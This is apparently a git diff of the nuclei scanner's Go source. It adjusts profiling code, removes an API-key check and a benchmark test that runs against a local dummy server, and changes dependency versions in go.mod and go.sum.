cpuProfileFile := createProfileFile(".cpu", "CPU")
traceFile := createProfileFile(".trace", "trace")
traceFilepath := strings.TrimSuffix(memProfile, filepath.Ext(memProfile)) + ".trace"
traceFile, err := os.Create(traceFilepath)
if err != nil {
gologger.Fatal().Msgf("profile: could not create trace %q file: %v", traceFilepath, err)
}
oldMemProfileRate := runtime.MemProfileRate
runtime.MemProfileRate = 4096
@@ -128,27 +126,18 @@ func main() {
gologger.Fatal().Msgf("profile: could not start trace: %v", err)
}
// Start CPU profiling
if err := pprof.StartCPUProfile(cpuProfileFile); err != nil {
gologger.Fatal().Msgf("profile: could not start CPU profile: %v", err)
}
defer func() {
// Start heap memory snapshot
// Start CPU profiling
if err := pprof.WriteHeapProfile(memProfileFile); err != nil {
gologger.Fatal().Msgf("profile: could not write memory profile: %v", err)
gologger.Fatal().Msgf("profile: could not start CPU profile: %v", err)
}
pprof.StopCPUProfile()
memProfileFile.Close()
traceFile.Close()
trace.Stop()
runtime.MemProfileRate = oldMemProfileRate
gologger.Info().Msgf("CPU profile saved at %q", cpuProfileFile.Name())
gologger.Info().Msgf("Memory usage snapshot saved at %q", memProfileFile.Name())
gologger.Info().Msgf("Traced at %q", traceFile.Name())
gologger.Info().Msgf("Memory profile saved at %q", memProfile)
gologger.Info().Msgf("Traced at %q", traceFilepath)
}()
}
@@ -537,15 +526,6 @@ Additional documentation is available at: https://docs.nuclei.sh/getting-started
}
}
// guard cloud services with credentials
if options.AITemplatePrompt != "" {
h := &pdcp.PDCPCredHandler{}
_, err := h.GetCreds()
if err != nil {
gologger.Fatal().Msg("To utilize the `-ai` flag, please configure your API key with the `-auth` flag or set the `PDCP_API_KEY` environment variable")
}
}
gologger.DefaultLogger.SetTimestamp(options.Timestamp, levels.LevelDebug)
if options.VerboseVerbose {
-87
View File
@@ -1,87 +0,0 @@
package main_test
import (
"net/http"
"net/http/httptest"
"testing"
"time"
"github.com/projectdiscovery/goflags"
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/gologger/levels"
"github.com/projectdiscovery/nuclei/v3/internal/runner"
"github.com/projectdiscovery/nuclei/v3/pkg/types"
)
func BenchmarkRunEnumeration(b *testing.B) {
dummyServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusNoContent)
}))
defer dummyServer.Close()
options := &types.Options{
RemoteTemplateDomainList: goflags.StringSlice{
"cloud.projectdiscovery.io",
},
ProjectPath: "/tmp",
Targets: goflags.StringSlice{dummyServer.URL},
StatsInterval: 5,
MetricsPort: 9092,
MaxHostError: 30,
NoHostErrors: true,
BulkSize: 25,
TemplateThreads: 25,
HeadlessBulkSize: 10,
HeadlessTemplateThreads: 10,
Timeout: 10,
Retries: 1,
RateLimit: 150,
RateLimitDuration: time.Duration(time.Second),
RateLimitMinute: 0,
PageTimeout: 20,
InteractionsCacheSize: 5000,
InteractionsPollDuration: 5,
InteractionsEviction: 60,
InteractionsCoolDownPeriod: 5,
MaxRedirects: 10,
Silent: true,
VarDumpLimit: 255,
JSONRequests: true,
StoreResponseDir: "output",
InputFileMode: "list",
ResponseReadSize: 0,
ResponseSaveSize: 1048576,
InputReadTimeout: time.Duration(3 * time.Minute),
UncoverField: "ip:port",
UncoverLimit: 100,
UncoverRateLimit: 60,
ScanStrategy: "auto",
FuzzAggressionLevel: "low",
FuzzParamFrequency: 10,
TeamID: "none",
JsConcurrency: 120,
PayloadConcurrency: 25,
ProbeConcurrency: 50,
LoadHelperFileFunction: types.DefaultOptions().LoadHelperFileFunction,
// DialerKeepAlive: time.Duration(0),
// DASTServerAddress: "localhost:9055",
}
runner.ParseOptions(options)
// Disable logging to reduce benchmark noise.
gologger.DefaultLogger.SetMaxLevel(levels.LevelSilent)
nucleiRunner, err := runner.New(options)
if err != nil {
b.Fatalf("failed to create runner: %s", err)
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
if err := nucleiRunner.RunEnumeration(); err != nil {
b.Fatalf("RunEnumeration failed: %s", err)
}
}
}
+2 -1
View File
@@ -65,6 +65,7 @@ func init() {
allTagsRegex = append(allTagsRegex, re)
}
defaultOpts := types.DefaultOptions()
// need to set headless to true for headless templates
defaultOpts.Headless = true
defaultOpts.EnableCodeTemplates = true
@@ -131,7 +132,7 @@ func main() {
}
func process(opts options) error {
tempDir, err := os.MkdirTemp("", "nuclei-nvd")
tempDir, err := os.MkdirTemp("", "nuclei-nvd-%s")
if err != nil {
return err
}
+40 -38
View File
@@ -1,8 +1,6 @@
module github.com/projectdiscovery/nuclei/v3
go 1.23.0
toolchain go1.24.1
go 1.22.2
require (
github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible
@@ -10,7 +8,7 @@ require (
github.com/antchfx/htmlquery v1.3.0
github.com/bluele/gcache v0.0.2
github.com/go-playground/validator/v10 v10.14.1
github.com/go-rod/rod v0.116.2
github.com/go-rod/rod v0.114.0
github.com/gobwas/ws v1.2.1
github.com/google/go-github v17.0.0+incompatible
github.com/invopop/jsonschema v0.12.0
@@ -22,27 +20,27 @@ require (
github.com/olekukonko/tablewriter v0.0.5
github.com/pkg/errors v0.9.1
github.com/projectdiscovery/clistats v0.1.1
github.com/projectdiscovery/fastdialer v0.4.0
github.com/projectdiscovery/hmap v0.0.88
github.com/projectdiscovery/interactsh v1.2.4
github.com/projectdiscovery/rawhttp v0.1.90
github.com/projectdiscovery/retryabledns v1.0.99
github.com/projectdiscovery/retryablehttp-go v1.0.111
github.com/projectdiscovery/yamldoc-go v1.0.6
github.com/projectdiscovery/fastdialer v0.3.0
github.com/projectdiscovery/hmap v0.0.77
github.com/projectdiscovery/interactsh v1.2.3
github.com/projectdiscovery/rawhttp v0.1.84
github.com/projectdiscovery/retryabledns v1.0.94
github.com/projectdiscovery/retryablehttp-go v1.0.97
github.com/projectdiscovery/yamldoc-go v1.0.5
github.com/remeh/sizedwaitgroup v1.0.0
github.com/rs/xid v1.6.0
github.com/rs/xid v1.5.0
github.com/segmentio/ksuid v1.0.4
github.com/shirou/gopsutil/v3 v3.24.2 // indirect
github.com/spaolacci/murmur3 v1.1.0 // indirect
github.com/spf13/cast v1.5.1
github.com/syndtr/goleveldb v1.0.0
github.com/valyala/fasttemplate v1.2.2
github.com/weppos/publicsuffix-go v0.40.2
github.com/weppos/publicsuffix-go v0.30.2
github.com/xanzy/go-gitlab v0.107.0
go.uber.org/multierr v1.11.0
golang.org/x/net v0.39.0
golang.org/x/net v0.34.0
golang.org/x/oauth2 v0.22.0
golang.org/x/text v0.24.0
golang.org/x/text v0.21.0
gopkg.in/yaml.v2 v2.4.0
)
@@ -78,7 +76,7 @@ require (
github.com/h2non/filetype v1.1.3
github.com/invopop/yaml v0.3.1
github.com/kitabisa/go-ci v1.0.3
github.com/labstack/echo/v4 v4.13.3
github.com/labstack/echo/v4 v4.12.0
github.com/leslie-qiwa/flat v0.0.0-20230424180412-f9d1cf014baa
github.com/lib/pq v1.10.9
github.com/mattn/go-sqlite3 v1.14.22
@@ -86,24 +84,24 @@ require (
github.com/microsoft/go-mssqldb v1.6.0
github.com/ory/dockertest/v3 v3.10.0
github.com/praetorian-inc/fingerprintx v1.1.9
github.com/projectdiscovery/dsl v0.4.3
github.com/projectdiscovery/dsl v0.3.13
github.com/projectdiscovery/fasttemplate v0.0.2
github.com/projectdiscovery/go-smb2 v0.0.0-20240129202741-052cc450c6cb
github.com/projectdiscovery/goflags v0.1.74
github.com/projectdiscovery/gologger v1.1.54
github.com/projectdiscovery/goflags v0.1.69
github.com/projectdiscovery/gologger v1.1.42
github.com/projectdiscovery/gostruct v0.0.2
github.com/projectdiscovery/gozero v0.0.3
github.com/projectdiscovery/httpx v1.7.0
github.com/projectdiscovery/httpx v1.6.9
github.com/projectdiscovery/mapcidr v1.1.34
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5
github.com/projectdiscovery/ratelimit v0.0.80
github.com/projectdiscovery/ratelimit v0.0.70
github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917
github.com/projectdiscovery/sarif v0.0.1
github.com/projectdiscovery/tlsx v1.1.9
github.com/projectdiscovery/uncover v1.0.10
github.com/projectdiscovery/useragent v0.0.100
github.com/projectdiscovery/utils v0.4.19
github.com/projectdiscovery/wappalyzergo v0.2.28
github.com/projectdiscovery/uncover v1.0.9
github.com/projectdiscovery/useragent v0.0.89
github.com/projectdiscovery/utils v0.4.8
github.com/projectdiscovery/wappalyzergo v0.2.13
github.com/redis/go-redis/v9 v9.1.0
github.com/seh-msft/burpxml v1.0.1
github.com/shurcooL/graphql v0.0.0-20230722043721-ed46e5a46466
@@ -112,7 +110,7 @@ require (
github.com/yassinebenaid/godump v0.10.0
github.com/zmap/zgrab2 v0.1.8-0.20230806160807-97ba87c0e706
go.mongodb.org/mongo-driver v1.17.0
golang.org/x/term v0.31.0
golang.org/x/term v0.28.0
gopkg.in/yaml.v3 v3.0.1
moul.io/http2curl v1.0.0
)
@@ -164,7 +162,7 @@ require (
github.com/felixge/fgprof v0.9.5 // indirect
github.com/free5gc/util v1.0.5-0.20230511064842-2e120956883b // indirect
github.com/gabriel-vasile/mimetype v1.4.2 // indirect
github.com/gaissmai/bart v0.17.10 // indirect
github.com/gaissmai/bart v0.17.8 // indirect
github.com/geoffgarside/ber v1.1.0 // indirect
github.com/gin-contrib/sse v0.1.0 // indirect
github.com/gin-gonic/gin v1.9.1 // indirect
@@ -202,6 +200,7 @@ require (
github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
github.com/mackerelio/go-osstat v0.2.4 // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mholt/archiver/v3 v3.5.1 // indirect
github.com/minio/selfupdate v0.6.1-0.20230907112617-f11e74f84ca7 // indirect
github.com/mitchellh/go-homedir v1.1.0 // indirect
github.com/mitchellh/mapstructure v1.5.0 // indirect
@@ -220,12 +219,12 @@ require (
github.com/pjbgf/sha1cd v0.3.0 // indirect
github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c // indirect
github.com/projectdiscovery/asnmap v1.1.1 // indirect
github.com/projectdiscovery/cdncheck v1.1.17 // indirect
github.com/projectdiscovery/cdncheck v1.1.0 // indirect
github.com/projectdiscovery/freeport v0.0.7 // indirect
github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb // indirect
github.com/projectdiscovery/machineid v0.0.0-20240226150047-2e2c51e35983 // indirect
github.com/refraction-networking/utls v1.6.7 // indirect
github.com/sashabaranov/go-openai v1.37.0 // indirect
github.com/sashabaranov/go-openai v1.15.3 // indirect
github.com/shirou/gopsutil v3.21.11+incompatible // indirect
github.com/shoenig/go-m1cpu v0.1.6 // indirect
github.com/sirupsen/logrus v1.9.3 // indirect
@@ -252,7 +251,7 @@ require (
github.com/xeipuuv/gojsonschema v1.2.0 // indirect
github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect
github.com/ysmood/fetchup v0.2.3 // indirect
github.com/ysmood/got v0.40.0 // indirect
github.com/ysmood/got v0.34.1 // indirect
github.com/yuin/goldmark v1.7.4 // indirect
github.com/yuin/goldmark-emoji v1.0.3 // indirect
github.com/zcalusic/sysinfo v1.0.2 // indirect
@@ -260,7 +259,7 @@ require (
go.uber.org/goleak v1.3.0 // indirect
go4.org v0.0.0-20230225012048-214862532bf5 // indirect
golang.org/x/arch v0.3.0 // indirect
golang.org/x/sync v0.13.0 // indirect
golang.org/x/sync v0.10.0 // indirect
gopkg.in/djherbis/times.v1 v1.3.0 // indirect
mellium.im/sasl v0.3.1 // indirect
)
@@ -268,11 +267,11 @@ require (
require (
git.mills.io/prologic/smtpd v0.0.0-20210710122116-a525b76c287a // indirect
github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 // indirect
github.com/PuerkitoBio/goquery v1.10.3 // indirect
github.com/PuerkitoBio/goquery v1.8.1 // indirect
github.com/akrylysov/pogreb v0.10.2 // indirect
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751 // indirect
github.com/alecthomas/units v0.0.0-20211218093645-b94a6e3cc137 // indirect
github.com/andybalholm/cascadia v1.3.3 // indirect
github.com/andybalholm/cascadia v1.3.2 // indirect
github.com/antchfx/xpath v1.2.4
github.com/aymerick/douceur v0.2.0 // indirect
github.com/caddyserver/certmagic v0.19.2 // indirect
@@ -310,7 +309,7 @@ require (
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
github.com/projectdiscovery/blackrock v0.0.1 // indirect
github.com/projectdiscovery/networkpolicy v0.1.14
github.com/projectdiscovery/networkpolicy v0.1.2
github.com/rivo/uniseg v0.4.7 // indirect
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect
github.com/tklauser/go-sysconf v0.3.12 // indirect
@@ -320,18 +319,18 @@ require (
github.com/valyala/bytebufferpool v1.0.0 // indirect
github.com/ysmood/goob v0.4.0 // indirect
github.com/ysmood/gson v0.7.3 // indirect
github.com/ysmood/leakless v0.9.0 // indirect
github.com/ysmood/leakless v0.8.0 // indirect
github.com/yusufpapurcu/wmi v1.2.4 // indirect
github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 // indirect
github.com/zmap/zcrypto v0.0.0-20240512203510-0fef58d9a9db // indirect
go.etcd.io/bbolt v1.3.10 // indirect
go.uber.org/zap v1.25.0 // indirect
goftp.io/server/v2 v2.0.1 // indirect
golang.org/x/crypto v0.37.0 // indirect
golang.org/x/crypto v0.32.0 // indirect
golang.org/x/exp v0.0.0-20250106191152-7588d65b2ba8
golang.org/x/mod v0.22.0 // indirect
golang.org/x/sys v0.32.0 // indirect
golang.org/x/time v0.8.0 // indirect
golang.org/x/sys v0.29.0 // indirect
golang.org/x/time v0.6.0 // indirect
golang.org/x/tools v0.29.0
google.golang.org/protobuf v1.34.2 // indirect
gopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect
@@ -356,14 +355,17 @@ require (
github.com/go-echarts/go-echarts/v2 v2.3.3
github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 // indirect
github.com/go-git/go-billy/v5 v5.6.0 // indirect
github.com/golang-jwt/jwt v3.2.2+incompatible // indirect
github.com/imdario/mergo v0.3.16 // indirect
github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 // indirect
github.com/jcmturner/gokrb5/v8 v8.4.4
github.com/kevinburke/ssh_config v1.2.0 // indirect
github.com/labstack/gommon v0.4.2 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/nwaples/rardecode v1.1.3 // indirect
github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 // indirect
github.com/xanzy/ssh-agent v0.3.3 // indirect
github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 // indirect
gopkg.in/warnings.v0 v0.1.2 // indirect
)
+90 -96
View File
@@ -82,8 +82,8 @@ github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAE
github.com/ProtonMail/go-crypto v0.0.0-20230217124315-7d5c6f04bbb8/go.mod h1:I0gYDMZ6Z5GRU7l58bNFSkPTFN6Yl12dsUlAZ8xy98g=
github.com/ProtonMail/go-crypto v1.1.3 h1:nRBOetoydLeUb4nHajyO2bKqMLfWQ/ZPwkXqXxPxCFk=
github.com/ProtonMail/go-crypto v1.1.3/go.mod h1:rA3QumHc/FZ8pAHreoekgiAbzpNsfQAosU5td4SnOrE=
github.com/PuerkitoBio/goquery v1.10.3 h1:pFYcNSqHxBD06Fpj/KsbStFRsgRATgnf3LeXiUkhzPo=
github.com/PuerkitoBio/goquery v1.10.3/go.mod h1:tMUX0zDMHXYlAQk6p35XxQMqMweEKB7iK7iLNd4RH4Y=
github.com/PuerkitoBio/goquery v1.8.1 h1:uQxhNlArOIdbrH1tr0UXwdVFgDcZDrZVdcpygAcwmWM=
github.com/PuerkitoBio/goquery v1.8.1/go.mod h1:Q8ICL1kNUJ2sXGoAhPGUdYDJvgQgHzJsnnd3H7Ho5jQ=
github.com/RumbleDiscovery/rumble-tools v0.0.0-20201105153123-f2adbb3244d2/go.mod h1:jD2+mU+E2SZUuAOHZvZj4xP4frlOo+N/YrXDvASFhkE=
github.com/STARRY-S/zip v0.2.1 h1:pWBd4tuSGm3wtpoqRZZ2EAwOmcHK6XFf7bU9qcJXyFg=
github.com/STARRY-S/zip v0.2.1/go.mod h1:xNvshLODWtC4EJ702g7cTYn13G53o1+X9BWnPFpcWV4=
@@ -116,10 +116,12 @@ github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 h1:Kk6a4nehpJ3Uu
github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
github.com/alitto/pond v1.9.2 h1:9Qb75z/scEZVCoSU+osVmQ0I0JOeLfdTDafrbcJ8CLs=
github.com/alitto/pond v1.9.2/go.mod h1:xQn3P/sHTYcU/1BR3i86IGIrilcrGC2LiS+E2+CJWsI=
github.com/andybalholm/brotli v1.0.1/go.mod h1:loMXtMfwqflxFJPmdbJO0a3KNoPuLBgiu3qAvBg8x/Y=
github.com/andybalholm/brotli v1.1.1 h1:PR2pgnyFznKEugtsUo0xLdDop5SKXd5Qf5ysW+7XdTA=
github.com/andybalholm/brotli v1.1.1/go.mod h1:05ib4cKhjx3OQYUY22hTVd34Bc8upXjOLL2rKwwZBoA=
github.com/andybalholm/cascadia v1.3.3 h1:AG2YHrzJIm4BZ19iwJ/DAua6Btl3IwJX+VI4kktS1LM=
github.com/andybalholm/cascadia v1.3.3/go.mod h1:xNd9bqTn98Ln4DwST8/nG+H0yuB8Hmgu1YHNnWw0GeA=
github.com/andybalholm/cascadia v1.3.1/go.mod h1:R4bJ1UQfqADjvDa4P6HZHLh/3OxWWEqc0Sk8XGwHqvA=
github.com/andybalholm/cascadia v1.3.2 h1:3Xi6Dw5lHF15JtdcmAHD3i1+T8plmv7BQ/nsViSLyss=
github.com/andybalholm/cascadia v1.3.2/go.mod h1:7gtRlve5FxPPgIgX36uWBX58OdBsSS6lUvCFb+h7KvU=
github.com/andygrunwald/go-jira v1.16.0 h1:PU7C7Fkk5L96JvPc6vDVIrd99vdPnYudHu4ju2c2ikQ=
github.com/andygrunwald/go-jira v1.16.0/go.mod h1:UQH4IBVxIYWbgagc0LF/k9FRs9xjIiQ8hIcC6HfLwFU=
github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8=
@@ -318,6 +320,7 @@ github.com/dop251/goja_nodejs v0.0.0-20210225215109-d91c329300e7/go.mod h1:hn7BA
github.com/dop251/goja_nodejs v0.0.0-20211022123610-8dd9abb0616d/go.mod h1:DngW8aVqWbuLRMHItjPUyqdj+HWPvnQe8V8y1nDpIbM=
github.com/dop251/goja_nodejs v0.0.0-20230821135201-94e508132562 h1:ObbB2tzHWWAxzsG5futqeq2Ual2zYlo/+eMkSc5sn8w=
github.com/dop251/goja_nodejs v0.0.0-20230821135201-94e508132562/go.mod h1:X2TOTJ+Uamd454RFp7ig2tmP3hQg0Z2Qk8gbVQmU0mk=
github.com/dsnet/compress v0.0.2-0.20210315054119-f66993602bf5/go.mod h1:qssHWj60/X5sZFNxpG4HBPDHVqxNm4DfnCKgrbZOT+s=
github.com/dsnet/compress v0.0.2-0.20230904184137-39efe44ab707 h1:2tV76y6Q9BB+NEBasnqvs7e49aEBFI8ejC89PSnWH+4=
github.com/dsnet/compress v0.0.2-0.20230904184137-39efe44ab707/go.mod h1:qssHWj60/X5sZFNxpG4HBPDHVqxNm4DfnCKgrbZOT+s=
github.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY=
@@ -356,8 +359,8 @@ github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4
github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw=
github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU=
github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA=
github.com/gaissmai/bart v0.17.10 h1:TY1y++A6N/ESrwRLTRWrnVOrQpZqpOYSVnKMu/FYW6o=
github.com/gaissmai/bart v0.17.10/go.mod h1:JCPkH/Xt5bSPCKDc6OpzkhSCeib8BIxu3kthzZwcl6w=
github.com/gaissmai/bart v0.17.8 h1:REVOltckoqNqNrdhKYgA4THrufgzr2CuPKKXsSQMRhw=
github.com/gaissmai/bart v0.17.8/go.mod h1:JCPkH/Xt5bSPCKDc6OpzkhSCeib8BIxu3kthzZwcl6w=
github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w=
github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc=
github.com/getkin/kin-openapi v0.126.0 h1:c2cSgLnAsS0xYfKsgt5oBV6MYRM/giU8/RtwUY4wyfY=
@@ -414,8 +417,8 @@ github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJn
github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
github.com/go-playground/validator/v10 v10.14.1 h1:9c50NUPC30zyuKprjL3vNZ0m5oG+jU0zvx4AqHGnv4k=
github.com/go-playground/validator/v10 v10.14.1/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU=
github.com/go-rod/rod v0.116.2 h1:A5t2Ky2A+5eD/ZJQr1EfsQSe5rms5Xof/qj296e+ZqA=
github.com/go-rod/rod v0.116.2/go.mod h1:H+CMO9SCNc2TJ2WfrG+pKhITz57uGNYU43qYHh438Mg=
github.com/go-rod/rod v0.114.0 h1:P+zLOqsj+vKf4C86SfjP6ymyPl9VXoYKm+ceCeQms6Y=
github.com/go-rod/rod v0.114.0/go.mod h1:aiedSEFg5DwG/fnNbUOTPMTTWX3MRj6vIs/a684Mthw=
github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg=
github.com/go-sourcemap/sourcemap v2.1.4+incompatible h1:a+iTbH5auLKxaNwQFg0B+TCYl6lbukKPc7b5x0n1s6Q=
github.com/go-sourcemap/sourcemap v2.1.4+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg=
@@ -442,6 +445,8 @@ github.com/gogo/protobuf v1.2.0/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7a
github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang-jwt/jwt v3.2.2+incompatible h1:IfV12K8xAKAnZqdXVzCZ+TOjboZ2keLg81eXfW3O+oY=
github.com/golang-jwt/jwt v3.2.2+incompatible/go.mod h1:8pz2t5EyA70fFQQSrl6XZXzqecmYZeUEB8OUGHkxJ+I=
github.com/golang-jwt/jwt/v4 v4.4.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
github.com/golang-jwt/jwt/v4 v4.5.1 h1:JdqV9zKUdtaa9gdPlywC3aeoEsR681PlKC+4F5gQgeo=
github.com/golang-jwt/jwt/v4 v4.5.1/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
@@ -483,6 +488,7 @@ github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaS
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/golang/snappy v0.0.2/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM=
github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
@@ -662,6 +668,7 @@ github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+o
github.com/kitabisa/go-ci v1.0.3 h1:JmIUIvcercRQc/9x/v02ydCCqU4MadSHaNaOF8T2pGA=
github.com/kitabisa/go-ci v1.0.3/go.mod h1:e3wBSzaJbcifXrr/Gw2ZBLn44MmeqP5WySwXyHlCK/U=
github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
github.com/klauspost/compress v1.11.4/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
github.com/klauspost/compress v1.17.11 h1:In6xLpyWOi1+C7tXUUWv2ot1QvBjxevKAaI6IXrJmUc=
github.com/klauspost/compress v1.17.11/go.mod h1:pMDklpSncoRMuLFrf1W9Ss9KT+0rH90U12bZKk7uwG0=
github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
@@ -669,6 +676,7 @@ github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa02
github.com/klauspost/cpuid/v2 v2.0.12/go.mod h1:g2LTdtYhdyuGPqyWyv7qRAmj1WBqxuObKfj5c0PQa7c=
github.com/klauspost/cpuid/v2 v2.2.5 h1:0E5MSMDEoAulmXNFquVs//DdoomxaoTY1kUhbc/qbZg=
github.com/klauspost/cpuid/v2 v2.2.5/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws=
github.com/klauspost/pgzip v1.2.5/go.mod h1:Ch1tH69qFZu15pkjo5kYi6mth2Zzwzt50oCQKQE9RUs=
github.com/klauspost/pgzip v1.2.6 h1:8RXeL5crjEUFnR2/Sn6GJNWtSQ3Dk8pq4CL3jvdDyjU=
github.com/klauspost/pgzip v1.2.6/go.mod h1:Ch1tH69qFZu15pkjo5kYi6mth2Zzwzt50oCQKQE9RUs=
github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M=
@@ -686,8 +694,8 @@ github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/labstack/echo/v4 v4.13.3 h1:pwhpCPrTl5qry5HRdM5FwdXnhXSLSY+WE+YQSeCaafY=
github.com/labstack/echo/v4 v4.13.3/go.mod h1:o90YNEeQWjDozo584l7AwhJMHN0bOC4tAfg+Xox9q5g=
github.com/labstack/echo/v4 v4.12.0 h1:IKpw49IMryVB2p1a4dzwlhP1O2Tf2E0Ir/450lH+kI0=
github.com/labstack/echo/v4 v4.12.0/go.mod h1:UP9Cr2DJXbOK3Kr9ONYzNowSh7HP0aG0ShAyycHSJvM=
github.com/labstack/gommon v0.4.2 h1:F8qTUNXgG1+6WQmqoUWnz8WiEU60mXVVw0P4ht1WRA0=
github.com/labstack/gommon v0.4.2/go.mod h1:QlUFxVM+SNXhDL/Z7YhocGIBYOiwB0mXm1+1bAPHPyU=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
@@ -735,6 +743,8 @@ github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5
github.com/matttproud/golang_protobuf_extensions v1.0.4/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=
github.com/mholt/acmez v1.2.0 h1:1hhLxSgY5FvH5HCnGUuwbKY2VQVo8IU7rxXKSnZ7F30=
